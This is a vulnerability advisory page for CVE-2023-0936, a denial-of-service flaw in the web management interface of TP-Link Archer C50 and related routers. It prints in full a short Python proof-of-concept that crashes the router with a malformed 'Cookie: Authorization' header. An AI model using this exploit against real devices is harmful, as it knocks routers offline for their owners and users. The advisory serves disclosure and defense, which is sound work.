A vulnerability was found in TP-Link Archer C50 V2_160801. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Web Management Interface. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.

The weakness was disclosed 02/21/2023. This vulnerability is handled as CVE-2023-0936. Technical details are unknown but a public exploit is available.

A public exploit has been developed in Python. The exploit is available at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests
import time

device_web_ip = '192.168.0.1'
request = {'HEAD' : 
    {'Host' : '{}'.format(device_web_ip),
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5', 
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Cookie' : 'Authorization',
    'Upgrade-Insecure-Requests' : '1',
    'Cache-Control' : 'max-age=0'
    },
    'ATTR':
    {'URL': 'http://{}/'.format(device_web_ip), 
    'METHOD': 'GET', 
    'VERSION': 'HTTP/1.1'
    }
}

headers = request['HEAD']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']

try:
  r = requests.request(method=method,url=url,headers=headers,verify=False,timeout=0.5)
except:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Affected

• TP-Link Archer C50 V2_160801
• TP-Link Archer C2v1 V1_170228
• TP-Link Archer C20v1 V1_141217
• TP-Link Archer C7v2 V1_170228

Productinfo

Vendor

• TP-Link

Name

• Archer C50

Version

• V2_160801

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #89806: Web crash found on TP-LINK router(Archer C50(US)_V2_160801) (by a2ure)

Duplicate

• Submit #XXXXXX: Xxx Xxxxx Xxxxx Xx Xx-xxxx Xxxxxx (by a2ure)
• Submit #XXXXXX: Xxx Xxxxx Xxxxx Xx Xx-xxxx（xxxx) Xxxxxx (by a2ure)
• Submit #XXXXXX: Xxx Xxxxx Xxxxx Xx Xx-xxxx（xxxxx) Xxxxxx (by a2ure)

Discussion